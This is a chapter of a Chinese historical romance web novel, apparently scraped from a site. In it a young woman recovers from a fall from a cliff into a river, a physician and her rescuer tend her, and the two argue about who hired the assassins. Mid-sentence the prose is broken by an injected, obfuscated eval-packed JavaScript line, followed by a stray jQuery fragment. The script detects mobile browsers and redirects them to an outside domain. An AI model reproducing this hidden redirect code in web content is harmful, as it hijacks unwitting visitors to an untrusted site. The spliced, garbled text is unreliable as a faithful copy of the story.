“脏器受伤一时半会是好不了的,起码得休养十天半个月,记得要静养不要随意走动。”荆太医看了眼谢卓,话锋突然一转:“脏器受伤是一方面,另一方面,这位姑娘在河中泡了许久,寒气入体,晚些时候恐会发高热。”
谢卓听到他说傅知乔脏器受伤本来是有些紧张的,后面听到高热两个字反而是放松下来了,“内脏无事就好,多谢荆太医。”
荆太医不理解为什么谢卓听到内脏受伤脸色大变,听到会发高热后反而变得轻松了,内脏严重受伤是很难救治,但伤势不重是不会危及生命的。根据他的诊断,这位姑娘的脏器伤势并不太重,高热症状对她来说才是更危险的存在,不过这并不是他该问的事。
在宫中做过多年的御医,荆太医知道很多事情是不能打听也不能过问的,他摆摆手表示不用谢,提着药箱出去开方子了。
开方子、配药、熬药都需要时间,荆太医吩咐谢卓掐人中将傅知乔弄醒,在药还没熬好前,先喝一碗姜汤去去寒气。
傅知乔迷迷糊糊被灌了两碗药后又昏睡过去了。
在寒冷的河水之中泡了半天,傅知乔晚上不出意料的发起了高热,谢卓对于处理高热情况已经很有经验了,他有条不紊的吩咐丫鬟拿酒精给她退热,喝退热汤药,折腾了大半夜,傅知乔身上的温度终于降了下来。
谢卓一夜没睡,一直在床边守着她。
傅知乔感觉自己做了一个很长的梦,梦中她好像置身在一个冰窟之中,除了冷还是冷,冻到她全身颤抖,牙齿都在打颤。她只能拼命向前奔跑,希望能跑出这个冰窟。
不知道过了多久,刺骨的凉意尽数退去,漫天的火焰向她袭来,烈火就像一把钝刀来回在她身上割着,令她痛不欲生。
冰与火来回交替,是对她身体和精神上的双重折磨,无论怎么跑都跑不出这冰山火海,傅知乔有些崩溃,渐渐地她没了力气,倒在了地上。
痛,不是一般的痛!
全身的骨头就像被碾压过又重组在一起。
傅知乔脑中胀痛难忍,想开口说句话时却发现自己连张嘴的力气都没有,她只能哼哼两声。
听到她的哼哼声,谢卓立即扑到床边,把手放在她的额头上,试了一下温度,问:“阿乔,你醒了?感觉如何?”
空气中有淡淡的熏香味,还夹杂着一丝药香。
傅知乔慢慢睁开了眼睛,她的眼睛是睁开了但脑子还未完全清醒,看着陌生的床顶喃喃道:“这是哪?我死了吗?”
“没死,你好好的。”谢卓哭笑不得。
没死?傅知乔顿时有些愣住。
茫然恍惚的思绪渐渐回笼,她好像跳崖了,从那么高的悬崖跳下来她真的没有死吗?
从那么高的悬崖跳下来,按理来说就算摔不死也应该摔成重伤吧,断手断脚断几根肋骨都是轻的,怎么她还是好手好脚的?
一种不可思议的感觉油然而生。
她情不自禁的摸向手腕上的佛珠。
谢卓看着她摸自己的手,有点不明所以,连忙问道:“怎么了?可是手痛?”
“佛珠?”
谢卓帮她撩开袖子,答道:“佛珠在呢!”
傅知乔听说到佛珠还在后立刻松了口气,说实话她现在有点不知道怎么表达自己的心情,她不禁想起东觉大师说过的“行善积德,会有福报”,难道这就是她的福报?
除了全身疼痛难忍以外,她能感觉到自己伤的不是特别重。
从那么高的悬崖跳下来,她不但没有死,连手脚都没有断,这不是奇迹是什么?
谢卓从她震惊的表情中领会到了她的意思,笑着说:“太医说你身体并无大碍,多亏了你在下落的过程中被树尖的枝叶挂了一下,这才没有摔成重伤。”
傅知乔稀里糊涂的点了下头,回想起来,当时的场面真是惊险万分。
当时她从悬崖上一跃而下,抱着寻求一线生机的想法,她有意让自己的身体保持垂直状态,最终是以脚先入水的姿势落入水中的,再加上在半空中有树叶帮她缓冲了一下,卸去了一部分的冲击力,她才能活下来。
不然,她的五脏六腑都会震荡受损。
从受伤到现在已经快过去十二个时辰了,在这期间傅知乔除了喝了两碗药,一粒米也没有吃。
“饿了吗?”谢卓问。
“有点。”傅知乔眨巴着眼睛应了一声,身子却未动,谢卓扯了扯嘴角,从丫鬟手中端过来一碗鱼羹喂她。
谢卓喂一口,傅知乔吃一口,一碗鱼羹下肚,傅知乔发懵脑子终于清醒过来。
四目相对,有那么一瞬间时间是静止的。
谢卓的心跳突然加速。
外面的阳光透过窗户照在她脸上,朦胧又缥缈,哪怕躺在床上也丝毫不损她的颜色,反倒有种病态之美。
刚刚吃完东西喝完水,她的嘴唇上还泛着一层水光,谢卓的视线不自觉的被吸引住了。
她的唇瓣比他想像中还要柔软……
脑中的记忆浮现,谢卓喉结上下滚动,连呼吸都急促了几分。
他招架不住率先移开了视线,双眸下垂,目光落在了傅知乔的手上,纤纤玉指,犹如羊脂一般细腻。更重要的是,此刻他们两人的手是紧握在一起的,感受彼此手心的温度,酥麻的感觉从指尖传到了心里。
谢卓的心突然乱了一拍。
两人有小半月没有见面了,没想到再次见面是这样的情况,千言万语涌到了嘴边,傅知乔不知道说什么好,她紧紧盯着谢卓:“谢谢你救了我。”
人在危机时刻总是会变得脆弱。
傅知乔刚刚经历一场生死危机,谢卓及时出现救了她并给了她一个温暖的怀抱,所以她不由自主的对他露出依赖的神情来。
谢卓抿了抿嘴,傅知乔极少会在他面前露出脆弱的一面,她现在依赖自己,那自己便要更好地照顾她。
谢卓看她眼中的神采已经恢复,敛起了心中的思绪,沉声问道:“你知道是谁要害你吗?”
傅知乔沉思了一会,摇了摇头,“不知。”要是知道是谁的话,她绝对不会放过她!
嘴上说不知道是谁要害她,但她心里是有人选的。她在京城唯一得罪过的人就是于雅丹,前不久她们才起了一次冲突,再加上韦夫人跟她说的那番话,她完全有理由猜测是于雅丹要害她。
不过,这些都只是她的猜测而已。
谢卓见她情绪低落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489182|185772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了下来,握住她的那只手紧了紧,给她一种无声的安慰。
傅知乔抬头,嘴角荡起一丝微笑。
谢卓看出她的笑容是故作镇定,想起昨天傅知乔刚从河中捞出来的模样,他心里一阵后怕,这已经是她第二次毫无知觉的躺在他怀里了。
当务之急,是要将想害她的人给找出来。
谢卓追问:“阿乔,你仔细想想,最近有没有得罪什么人?”
“为什么这么问?”
“王骞信已经查探到那群杀手的身份了,他们是索命门的人,拿钱帮人办事,不达目的不会罢休。”
傅知乔问:“查到背后之人是谁了吗?”
谢卓摇摇头,“线索到索命门就断了。”
索命门的名声谢卓也略知一二,他们对雇主的信息严格保密。索命门是江湖门派,讲究的是江湖上的规矩,朝廷跟江湖向来是井水不犯河水的。
要是对方继续派人刺杀该怎么办?第一次刺杀没有得手难保不会有第二次。
只有千日做贼,哪有千日防贼的道理。
谢卓眉毛拧成了一团,他无法时刻将傅知乔放在自己眼皮底下。对方存了害人之心就一定会找到机会,敌暗我明,骁骑军不是他的私兵,朝廷更不会出手对付江湖门派,师出无名,就算他想带兵对付索命门也鞭长莫及。
谢卓简单的给傅知乔说了下索命门是怎样一个门派,傅知乔大为震惊,她以为于雅丹只是出于嫉妒之心,才会找人教训她想让她吃点苦头,现在听到谢卓说刺杀她的人来自索命门,她怎么能不震惊。
原来,于雅丹对她起的是置她于死地的心思。
傅知乔微微眯眼,是她托大了,她低估的人的嫉妒之心。
她直接把自己的猜测说了出来:“我这里倒是有一个怀疑的人选。”
“是谁?”
“于雅丹。”
谢卓诧异道:“她?她为什么要杀你?”
“她当然有理由要杀我,身为世子的未婚妻,除了她还会有谁恨我恨到需要痛下杀手?”听到谢卓怀疑的语气,傅知乔翻了白眼,说出的话也带了些许恼意:“你宁愿信于雅丹也不信我?你觉得我在诬陷她?”
“没有不信你,我只是有点惊讶。”见她脸色不好,谢卓急忙表态。
傅知乔上一秒还在为谢卓救她而感动,下一秒听到谢卓不太相信于雅丹会伤害自己,她心里觉得有点不是滋味。
他就那么相信于雅丹吗?
傅知乔好不容易才捡回一条命,眼下正是需要安慰的时候,听到谢卓没有第一时间站在她这一边,心里委屈的情绪立刻就上来了。
“你不信就算了,我只是猜测并没有证据。”
正当谢卓酝酿措辞想要解释的时候,傅知乔一把抽出被他握着的手,语气冰冷:“我也没说一定是她,你走吧,我现在不想看到你。”
说完,她在床上翻了个身,背对着他。
谢卓心里咯噔一下,悬在半空中的中往前伸了伸,但是傅知乔抽手的动作很快,他只摸到一团空气,停顿了两秒后他收回手,尴尬的摸了摸鼻子。
“阿乔,我一定会查清此事给你一个交代,无论凶手是谁,我绝不姑息!”